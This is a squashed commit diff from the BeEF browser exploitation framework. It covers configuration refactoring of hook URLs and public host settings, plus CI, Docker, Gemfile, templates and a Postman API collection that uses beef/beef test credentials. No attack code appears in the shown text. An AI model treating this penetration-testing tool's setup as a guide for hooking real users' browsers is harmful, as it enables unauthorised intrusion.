Updated config.yaml to remove "" form public

* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>

.bundle/config

@@ -0,0 +1,2 @@
+---
+BUNDLE_WITHOUT: "development:test"

.github/CONTRIBUTING.md

@@ -0,0 +1,84 @@
+# Contributing
+### Anyone is welcome to make BeEF better!
+Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
+
+Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
+
+###  We want any form of helpful contributions!
+
+
+BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
+
+# Ground Rules
+
+###  Responsibilities
+> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
+> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
+> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
+> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
+> * Ensure language is as respectful and appropriate as possible. 
+> * Keep merges as straightforward as possible, only address one issue per commit where possible.
+> * Be welcoming to newcomers and try to assist where possible, everyone needs help. 
+
+# Where to start
+### Looking to make your first contribution 
+
+ Unsure where to begin contributing to BeEF? You can start by looking through these issues:
+
+ * Good First Issue - issues which should only require a few changes, and are good to start with.
+ * Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
+
+At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
+
+If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
+
+### Ruby best practise 
+Do read through: https://rubystyle.guide
+Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
+Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
+Just run the following in the /beef directory.
+> rubocop
+
+# Getting started
+
+### How to submit a contribution.
+
+1. Create your own fork of the code
+
+2. Checkout the master branch
+> git checkout master
+
+3. Create a new branch for your feature
+> git checkout -b my-cool-new-feature
+
+4. Add your new files
+> git add modules/my-cool-new-module
+
+5. Modify or write a test case/s in Rspec for your changes
+
+6. Commit your changes with a relevant message
+> git commit
+
+7. Push your changes to GitHub
+> git push origin my-cool-new-feature
+
+8. Run all tests again to make sure they all pass
+
+9. Edit existing wiki page / add a new one explaining the new features, including:
+	- sample usage (command snippets, steps and/or screenshots)
+	- internal working (code snippets & explanation)
+
+10. Now browse to the following URL and create your pull request from your fork to beef master
+    - Fill out the Pull Request Template
+    - https://github.com/beefproject/beef/pulls
+
+
+# How to report a bug
+If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.
+
+When the security team receives a security bug email, they will assign it to a primary handler.
+This person will coordinate the fix and release process, involving the following steps:
+
+* Confirm the problem and find the affected versions.
+* Audit code to find any potential similar problems.
+* Prepare fixes

.github/ISSUE_TEMPLATE.md

@@ -1,49 +1,66 @@
+# Submit Issue
+
 Verify first that your issue/request has not been posted previously:
 
 * https://github.com/beefproject/beef/issues
 * https://github.com/beefproject/beef/wiki/FAQ
 
-Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/beef-0.4.7.2).
+Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.2.0).
+
+Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
+
+1. In the `config.yaml` file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) to `true`
+   * If using a standard installation of `beef-xss` the root folder will typically be `/usr/share/beef-xss`
+2. Reproduce your error
+3. Retrieve your client-side logs from your browser's developer console (Ctrl + Shift + I)
+4. Retrieve your server-side logs from `~/.beef/beef.log`
+5. **If using `beef-xss`:** Retrieve your service logs using `journalctl -u beef-xss`
+
+Thank you, this will greatly aid us in identifying the root cause of your issue :)
+
+**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
+Feel free to open it back up if you continue to have issues. 
+
+## Summary
+
+**Q:** Please provide a brief summary of the issue that you experienced.
+**A:**
+
+## Environment
+
+*Please identify the environment in which your issue occurred.*
+
+1. **BeEF Version:**
+
+2. **Ruby Version:**
+
+3. **Browser Details (e.g. Chrome v81.0):**
+
+4. **Operating System (e.g. OSX Catalina):**
 
 
-#### Environment
+## Configuration
 
-What version/revision of BeEF are you using?
+**Q:** Have you made any changes to your BeEF configuration? 
+**A:**
 
-On what version of Ruby?
+**Q:** Have you enabled or disabled any BeEF extensions?
+**A:**
 
-On what browser?
+## Expected vs. Actual Behaviour
 
-On what operating system?
+**Expected Behaviour:** 
+<br />
+**Actual Behaviour:**
+<br />
+
+## Steps to Reproduce
+
+*Please provide steps to reproduce this issue.*
+
+1.
 
 
-#### Configuration
+## Additional Information
 
-Are you using a non-default configuration?
-
-Have you enabled or disabled any BeEF extensions?
-
-
-#### Summary
-
-Please provide a summary of the issue.
-
-
-#### Expected Behaviour
-
-What was the expected result?
-
-
-#### Actual Behaviour
-
-What was the actual result?
-
-
-#### Steps to Reproduce
-
-Please provide steps to reproduce this issue.
-
-
-#### Additional Information
-
-Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be enabled by specifying `debug: true` in the `config.yaml` configuration file.
+Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,20 @@
+# Pull Request
+
+Thanks for submitting a PR! Please fill in this template where appropriate:
+
+## Category
+*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
+
+## Feature/Issue Description
+**Q:** Please give a brief summary of your feature/fix
+**A:**
+
+**Q:** Give a technical rundown of what you have changed (if applicable)
+**A:**
+
+## Test Cases
+**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
+**A:**
+
+## Wiki Page
+*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*

.github/SECURITY.md

@@ -0,0 +1,9 @@
+send security bug reports to security@beefproject.com
+
+**A security report should include:**
+
+1. Description of the problem (what it is, what's the impact)
+
+2. Technical steps to replicate it (commands / screenshots)
+
+3. Actionable fix/recommendations to mitigate the issue

.github/dependabot.yml

@@ -0,0 +1,25 @@
+version: 2
+updates:
+- package-ecosystem: npm
+  directory: "/"
+  schedule:
+    interval: daily
+  open-pull-requests-limit: 10
+  ignore:
+  - dependency-name: jsdoc-to-markdown
+    versions:
+    - 7.0.0
+- package-ecosystem: bundler
+  directory: "/"
+  schedule:
+    interval: daily
+  open-pull-requests-limit: 10
+  ignore:
+  - dependency-name: rubocop
+    versions:
+    - 1.10.0
+    - 1.11.0
+    - 1.12.0
+    - 1.12.1
+    - 1.9.0
+    - 1.9.1

.gitignore

@@ -1,16 +1,31 @@
 ### BeEF ###
 beef.db
+beef.log
 test/msf-test
 extensions/admin_ui/media/javascript-min/
 custom-config.yaml
 .DS_Store
 .gitignore
 .rvmrc
+beef.log
 
 *.lock
 
 extensions/metasploit/msf-exploits.cache
 
+# ruby debugging
+.byebug_history
+
+# Bundler
+/.bundle
+/vendor
+
+#simplecov
+coverage/
+
+# BrowserStack
+local.log
+
 # The following lines were created by https://www.gitignore.io
 
 ### Linux ###
@@ -104,3 +119,11 @@ $RECYCLE.BIN/
 
 test/thirdparty/msf/unit/.byebug_history
 /load
+
+### JSDoc ###
+# Dependency directories
+node_modules/
+
+# Generated files
+out/
+doc/rdoc/

.rspec

@@ -0,0 +1,4 @@
+--format documentation
+--color
+--require spec_helper
+-I .

.rubocop.yml

@@ -4,21 +4,75 @@ AllCops:
     - 'tmp/**/*'
     - 'tools/**/*'
     - 'doc/**/*'
-  TargetRubyVersion: 2.4
+  TargetRubyVersion: 2.6
+
+Layout/LineLength:
+  Enabled: true
+  Max: 180
 
 Metrics/AbcSize:
   Enabled: false
+
 Metrics/BlockLength:
   Enabled: false
+
 Metrics/ClassLength:
   Enabled: false
-Metrics/LineLength:
-  Enabled: false
+
 Metrics/MethodLength:
   Enabled: false
+
 Metrics/PerceivedComplexity:
   Enabled: false
+
 Metrics/CyclomaticComplexity:
   Enabled: false
+
 Style/FrozenStringLiteralComment:
   Enabled: false
+
+# TODO: review these
+Layout/SpaceBeforeBrackets:
+  Enabled: false
+Lint/AmbiguousAssignment:
+  Enabled: false
+Lint/DeprecatedConstants:
+  Enabled: false
+Lint/DuplicateBranch:
+  Enabled: false
+Lint/DuplicateRegexpCharacterClassElement:
+  Enabled: false
+Lint/EmptyBlock:
+  Enabled: false
+Lint/EmptyClass:
+  Enabled: false
+Lint/LambdaWithoutLiteralBlock:
+  Enabled: false
+Lint/NoReturnInBeginEndBlocks:
+  Enabled: false
+Lint/RedundantDirGlobSort:
+  Enabled: false
+Lint/ToEnumArguments:
+  Enabled: false
+Lint/UnexpectedBlockArity:
+  Enabled: false
+Lint/UnmodifiedReduceAccumulator:
+  Enabled: false
+Style/ArgumentsForwarding:
+  Enabled: false
+Style/CollectionCompact:
+  Enabled: false
+Style/DocumentDynamicEvalDefinition:
+  Enabled: false
+Style/EndlessMethod:
+  Enabled: false
+Style/HashExcept:
+  Enabled: false
+Style/NegatedIfElseCondition:
+  Enabled: false
+Style/NilLambda:
+  Enabled: false
+Style/RedundantArgument:
+  Enabled: false
+Style/SwapValues:
+  Enabled: false

.ruby-version

@@ -1 +1 @@
-2.5.3
+2.7.2

.travis.yml

@@ -1,23 +1,99 @@
 language: ruby
 rvm:
-  - 2.4.0
-  - 2.5.0
-  - 2.6.0
-env:
-  - "BEEF_TEST=true"
+- 2.5.3
+- 2.6.0
+- 2.6.3
+- 2.6.5
+- 2.7.0
 notifications:
   email:
     recipients:
       - wade@bindshell.net
-    on_success: always
-    on_failure: always
+  on_success: always
+  on_failure: always
+branches:
+  only:
+  - master
+  - browserstack
+before_script:
+  - RUBY_VERSION=/bin/bash rvm current
+  - sed -i -E 's/system\((.*?)\)/""/g' /home/travis/.rvm/gems/$RUBY_VERSION/gems/browserstack-local-1.3.0/lib/browserstack/local.rb
+env:
+  - CONFIG_FILE=osx/catalina/catalina_chrome_41.config.yml
+  - CONFIG_FILE=osx/catalina/catalina_chrome_59.config.yml
+  - CONFIG_FILE=osx/catalina/catalina_chrome_81.config.yml
+  - CONFIG_FILE=osx/catalina/catalina_firefox_11.config.yml
+  - CONFIG_FILE=osx/catalina/catalina_firefox_68esr.config.yml
+  - CONFIG_FILE=osx/catalina/catalina_firefox_75.config.yml
+  - CONFIG_FILE=osx/catalina/catalina_safari_13.config.yml
+  - CONFIG_FILE=osx/elcapitan/elcapitan_chrome_14.config.yml
+  - CONFIG_FILE=osx/elcapitan/elcapitan_chrome_81.config.yml
+  - CONFIG_FILE=osx/elcapitan/elcapitan_firefox_7.config.yml
+  - CONFIG_FILE=osx/elcapitan/elcapitan_firefox_75.config.yml
+  - CONFIG_FILE=osx/elcapitan/elcapitan_safari_9-1.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_chrome_14.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_chrome_35.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_chrome_49.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_firefox_7.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_firefox_38esr.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_firefox_42.config.yml
+  - CONFIG_FILE=osx/snowleopard/snowleopard_safari_5-1.config.yml
+  - CONFIG_FILE=windows/win10/win10_chrome_37.config.yml
+  - CONFIG_FILE=windows/win10/win10_chrome_59.config.yml
+  - CONFIG_FILE=windows/win10/win10_firefox_32.config.yml
+  - CONFIG_FILE=windows/win10/win10_firefox_68esr.config.yml
+  - CONFIG_FILE=windows/win10/win10_firefox_75.config.yml
+  - CONFIG_FILE=windows/win10/win10_edge_81.config.yml
+  - CONFIG_FILE=windows/win10/win10_ie_11.config.yml
+  - CONFIG_FILE=windows/win8/win8_chrome_22.config.yml
+  - CONFIG_FILE=windows/win8/win8_chrome_81.config.yml
+  - CONFIG_FILE=windows/win8/win8_firefox_32.config.yml
+  - CONFIG_FILE=windows/win8/win8_firefox_75.config.yml
+  - CONFIG_FILE=windows/win8/win8_edge_81.config.yml
+  - CONFIG_FILE=windows/win8/win8_ie_10.config.yml
+  - CONFIG_FILE=windows/xp/xp_chrome_14.config.yml
+  - CONFIG_FILE=windows/xp/xp_chrome_28.config.yml
+  - CONFIG_FILE=windows/xp/xp_chrome_43.config.yml
+  - CONFIG_FILE=windows/xp/xp_firefox_16.config.yml
+  - CONFIG_FILE=windows/xp/xp_firefox_26.config.yml
+  - CONFIG_FILE=windows/xp/xp_firefox_45.config.yml
+  - CONFIG_FILE=windows/xp/xp_ie_7.config.yml
+jobs:
+  include:
+    - name: "Full Test Suite 2.5.3"
+      rvm: 2.5.3
+      env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
+      script: bundle exec rspec
+    - name: "Full Test Suite 2.6.0"
+      rvm: 2.6.0
+      env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
+      script: bundle exec rspec
+    - name: "Full Test Suite 2.6.3"
+      rvm: 2.6.3
+      env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
+      script: bundle exec rspec
+    - name: "Full Test Suite 2.6.5"
+      rvm: 2.6.5
+      env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
+      script: bundle exec rspec
+    - name: "Full Test Suite 2.7.0"
+      rvm: 2.7.0
+      env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
+      script: bundle exec rspec
+script:
+  - bundle exec rspec --tag run_on_browserstack
 addons:
   apt:
     packages:
-      - libsqlite3-dev
-      - build-essential
-      - patch
-      - ruby-dev
-      - zlib1g-dev
-      - liblzma-dev
-      - libcurl4-openssl-dev
+    - libsqlite3-dev
+    - build-essential
+    - patch
+    - ruby-dev
+    - zlib1g-dev
+    - liblzma-dev
+    - libcurl4-openssl-dev
+  browserstack:
+    username:
+      secure: "Yj+a2jY56dFqJwXdU6JdSXeKhhS01CiToBoB922SXVnA2D2WclGOFiTi0YrkAS9PuOJX5AjC9eUw7VFUcp8DiLmeDGLWo8klYrWQoJOH55FmSWKjdkqDopJFYr0ZXk/ZuXzzpuMvKkCT5MGFnySXyheTW8aUj33GetJ6/sNq5BoA36jH04OE3iPgdBaFPRNDVXEIWLaLUDQsAyZsHNNYC+/cj3cxjXLHu+mbNuXsXEHgrHJ2A94EWdrdGODWL8mRtlSDNkIaYHZKCBnUlHWwCwBitLsjhzdy0YFrIGVbX96FV+C41sjPWLFjZhjAaNDuJ3FoTplbzFNvrw5oxQAAI8ZZqUwF4MRIrQbN8BLFVISX7JooQjfyrNVWvhpZWGPB4GZTN4CThrlQ7G7CJRYDVyqZ7nen6y0+osBr9DRKN+EemlVG73aNP3mXaZr6BmS1BpQJ6tlqDdLCvC5j/PdguKwvt4EmgHA8Pzn20UElV+8BPblcYGjsWplk/cxW1adW0pu2vIxskKxDKJ/ReY3l5yUpiQPZHbuMidq2ffSX0B3yALe7vx+3AvMb2Fk9yWh52EVJXPkVlLvhP7wDd22MHCemvrC2nLhkVR4MglLWs7dZKHswExlKJdWK4OSXprOStjZSA47sjF2nPdztWTpdI77SKaBcoLGR5WOV+JtcQgk="
+    access_key:
+      secure: "KHlR8NHPnoF9U1CJKgUhS1YhPSeTILI2lIu+JilQ5Xeo7rcbWg9lT2xwQQNnLYrISG1vC6OzsbkcnC/3ZnAv7jYff4iUTc3Syszs5wIhhvnhBx4qCxM+/UD78TJNQ0AuY7NOIK6OXcmwbpZrOBUojZkooEkc8bpG56nb2v7dOIafFLV+tv9xcc5DtMSfh7FavhqRFRO+PCybqOW8yWMc2NiMYy3p9jKBC3qYRqme4hx1NRrLo5BZQ+UIcO3Rf+vAjUP+3gGuhWeu2kDCvZYDnI2GN1/WacRVY2cqDPGiYlD6pHNMqU0raYKyWdK0QD4KwYpfjxBGRmwBfz8xU8KWUEZ3P11mJn+BvIt0qe3VpomR0/60/fok1BEso3nea8oENXur5G/5SOfpkPLjzd4P4f7JYnST1PeeWwpzV305wktDv9aLc+Ne9cFCaxSaaCnOk82rKDhtnktwnK7krFj1lM6oygtOD+arAytPKaURRgV2izaoophiXuLFb+9XKSkMGtJ3e+rQATonnDPaFTzouKaXSEPxZQQ2bnsp9tETAReDrYIwPHuYL778UbbBICgNk54CZSfTeRFLroRGNPb/0gPXbu6SryPnknfCMNd7ksSndVoyKsDo1plTHQJGVweP2hxR3R/9syk9Z6DU6H5H3dc/RbkkmoRPVooUtR/mZ/c="

BeEF.postman_environment.json

@@ -0,0 +1,49 @@
+{
+	"id": "3b5f29e6-c8eb-4d23-bf52-c01255f22f08",
+	"name": "BeEF",
+	"values": [
+		{
+			"key": "hostname",
+			"value": "127.0.0.1",
+			"enabled": true
+		},
+		{
+			"key": "username",
+			"value": "beef",
+			"enabled": true
+		},
+		{
+			"key": "password",
+			"value": "beef",
+			"enabled": true
+		},
+		{
+			"key": "token",
+			"value": "",
+			"enabled": true
+		},
+		{
+			"key": "session",
+			"value": "",
+			"enabled": true
+		},
+		{
+			"key": "module_id",
+			"value": "",
+			"enabled": true
+		},
+		{
+			"key": "cmd_id",
+			"value": "",
+			"enabled": true
+		},
+		{
+			"key": "dnsrule_id",
+			"value": "",
+			"enabled": true
+		}
+	],
+	"_postman_variable_scope": "environment",
+	"_postman_exported_at": "2020-01-03T06:00:29.827Z",
+	"_postman_exported_using": "Postman/7.14.0"
+}

Dockerfile

@@ -0,0 +1,64 @@
+###########################################################################################################
+###########################################################################################################
+##                                                                                                       ##
+##   Please read the Wiki Installation section on set-up using Docker prior to building this container.  ##
+##   BeEF does NOT allow authentication with default credentials. So please, at the very least           ##
+##   change the username:password in the config.yaml file to something secure that is not beef:beef      ##
+##   before building or you will to denied access and have to rebuild anyway.                            ##
+##                                                                                                       ##
+###########################################################################################################
+###########################################################################################################
+
+# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
+FROM ruby:2.6.3-alpine AS builder
+LABEL maintainer="Beef Project: github.com/beefproject/beef"
+
+# Install gems in parallel with 4 workers to expedite build process.=
+ARG BUNDLER_ARGS="--jobs=4" 
+
+# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files
+RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
+
+COPY . /beef
+
+# Add bundler/gem dependencies and then install 
+RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \
+  bundle install --system --clean --no-cache --gemfile=/beef/Gemfile $BUNDLER_ARGS && \
+  # Temp fix for https://github.com/bundler/bundler/issues/6680
+  rm -rf /usr/local/bundle/cache
+
+WORKDIR /beef
+
+# So we don't need to run as root
+RUN chmod -R a+r /usr/local/bundle
+# ------------------------------------- End of Builder 0 -------------------------------------------------
+
+
+# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
+FROM ruby:2.6.3-alpine
+LABEL maintainer="Beef Project: github.com/beefproject/beef"
+
+# Create service account to run BeEF
+RUN adduser -h /beef -g beef -D beef
+
+COPY . /beef
+
+# Use gemset created by the builder above
+COPY --from=builder /usr/local/bundle /usr/local/bundle
+
+# Grant beef service account owner and groups rights over our BeEF working directory.
+RUN chown -R beef:beef /beef
+
+# Install BeEF's runtime dependencies
+RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs
+
+WORKDIR /beef
+
+# Ensure we are using our service account by default
+USER beef
+
+# Expose UI, Proxy, WebSocket server, and WebSocketSecure server
+EXPOSE 3000 6789 61985 61986
+
+ENTRYPOINT ["/beef/beef"]
+# ------------------------------------- End of Builder 1 -------------------------------------------------

Gemfile

@@ -1,44 +1,30 @@
 # BeEF's Gemfile
 
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
-
+#gem 'simplecov', require: false, group: :test
 gem 'eventmachine'
 gem 'thin'
-gem 'sinatra', '~> 2.0'
-gem 'rack', '~> 2.0'
-gem 'rack-protection', '~> 2.0'
+gem 'sinatra', '>= 2.0.2'
+gem 'rack', '>= 2.2.3'
+gem 'rack-protection', '>= 2.0.0'
 gem 'em-websocket' # WebSocket support
-gem 'uglifier'
+gem 'uglifier', '>= 2.7.2'
 gem 'mime-types'
 gem 'execjs'
 gem 'ansi'
 gem 'term-ansicolor', :require => 'term/ansicolor'
-gem 'dm-core'
 gem 'json'
-gem 'data_objects'
 gem 'rubyzip', '>= 1.2.2'
 gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
-gem 'nokogiri', '>= 1.7'
-gem 'rake'
-
-# SQLite support
-group :sqlite do
-  gem 'dm-sqlite-adapter'
-end
-
-# PostgreSQL support
-group :postgres do
-  #gem dm-postgres-adapter
-end
-
-# MySQL support
-group :mysql do
-  #gem dm-mysql-adapter
-end
+gem 'nokogiri', '>= 1.11.1'
+gem 'rake', '>= 12.3.3'
+gem 'otr-activerecord', '>= 1.4.2'
+gem 'sqlite3'
+gem 'rubocop', '~> 1.20.0', require: false
 
 # Geolocation support
 group :geoip do
@@ -47,7 +33,6 @@ end
 
 gem 'parseconfig'
 gem 'erubis'
-gem 'dm-migrations'
 
 # Metasploit Integration extension
 group :ext_msf do
@@ -67,7 +52,7 @@ end
 
 # DNS extension
 group :ext_dns do
-  gem 'rubydns', '~> 0.7.3'
+  gem 'async-dns'
 end
 
 # QRcode extension
@@ -77,25 +62,32 @@ end
 
 # For running unit tests
 group :test do
-  if ENV['BEEF_TEST']
     gem 'test-unit'
     gem 'test-unit-full'
     gem 'rspec'
-	gem 'rdoc'
+    gem 'rdoc'
     # curb gem requires curl libraries
     # sudo apt-get install libcurl4-openssl-dev
     gem 'curb'
     # selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
-    gem 'selenium'
-    gem 'selenium-webdriver', '~> 2.53.4'
+    # gem 'selenium' # Requires old version of selenium which is no longer available
+    gem 'geckodriver-helper'
+    gem 'selenium-webdriver'
     # nokogirl is needed by capybara which may require one of the below commands
     # sudo apt-get install libxslt-dev libxml2-dev
     # sudo port install libxml2 libxslt
     gem 'capybara'
     # RESTful API tests/generic command module tests
     gem 'rest-client', '>= 2.0.1'
-    gem 'byebug'
-  end
+    gem 'irb'
+    gem 'pry-byebug'
+    gem "websocket-client-simple", "~> 0.3.0"
+    gem "browserstack-local", "~> 1.3"
 end
 
 source 'https://rubygems.org'
+
+
+
+
+

INSTALL.txt

@@ -1,6 +1,6 @@
 ===============================================================================
    
-    Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+    Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - http://beefproject.com
     See the file 'doc/COPYING' for copying permission
 
@@ -21,9 +21,9 @@ Or cloning the Git repository from Github:
 Prerequisites
 --------------
 
-BeEF requires Ruby 2.4+.
+BeEF requires Ruby 2.5+.
 
-If your operating system package manager does not support Ruby version 2.4,
+If your operating system package manager does not support Ruby version 2.5,
 you can add the brightbox ppa repository for the latest version of Ruby:
 
   $ sudo apt-add-repository -y ppa:brightbox/ruby-ng
@@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version.
 
 If you're using BeEF from the GitHub repository, updating is as simple as:
 
-  $ git pull
+  $ ./update-beef
+
+Or pull the latest repo yourself and then update the gems with:
+  
+  $ git pull
+  
+  $ bundle
 

README.md

@@ -1,6 +1,6 @@
 ===============================================================================
 
-    Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+    Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - http://beefproject.com
     See the file 'doc/COPYING' for copying permission
 
@@ -28,21 +28,18 @@ __Bugs:__ https://github.com/beefproject/beef/issues
 
 __Security Bugs:__ security@beefproject.com
 
-__IRC:__ ircs://irc.freenode.net/beefproject
-
-__Twitter:__ @beefproject
+__Twitter:__ [@beefproject](https://twitter.com/beefproject)
 
 
 Requirements
 ------------
 
 * Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
-* [Ruby](http://ruby-lang.org): 2.4 or newer
+* [Ruby](http://ruby-lang.org): 2.5 or newer
 * [SQLite](http://sqlite.org): 3.x
-* [Node.js](https://nodejs.org): 6 or newer
+* [Node.js](https://nodejs.org): 10 or newer
 * The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
-* Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
-
+* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
 
 Quick Start
 -----------
@@ -55,13 +52,19 @@ The `install` script installs the required operating system packages and all the
 $ ./install
 ```
 
-For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt).
-
-We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
+For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
 
 Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
 
 
+Documentation
+---
+
+* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
+* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
+* [JSdocs](https://beefproject.github.io/beef/index.html)
+
+
 Usage
 -----
 

RESTful-API.postman_collection.json

@@ -0,0 +1,567 @@
+{
+	"info": {
+		"_postman_id": "3b47c3ff-c03f-446c-8edb-cacaab481425",
+		"name": "RESTful API",
+		"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
+	},
+	"item": [
+		{
+			"name": "Authentication",
+			"event": [
+				{
+					"listen": "test",
+					"script": {
+						"id": "8e1a5f48-1d41-469d-a153-6cd5ee751912",
+						"exec": [
+							"var jsonData = JSON.parse(responseBody);",
+							"pm.environment.set(\"token\", jsonData.token);"
+						],
+						"type": "text/javascript"
+					}
+				}
+			],
+			"request": {
+				"method": "POST",
+				"header": [
+					{
+						"key": "Content-Type",
+						"name": "Content-Type",
+						"value": "application/json",
+						"type": "text"
+					}
+				],
+				"body": {
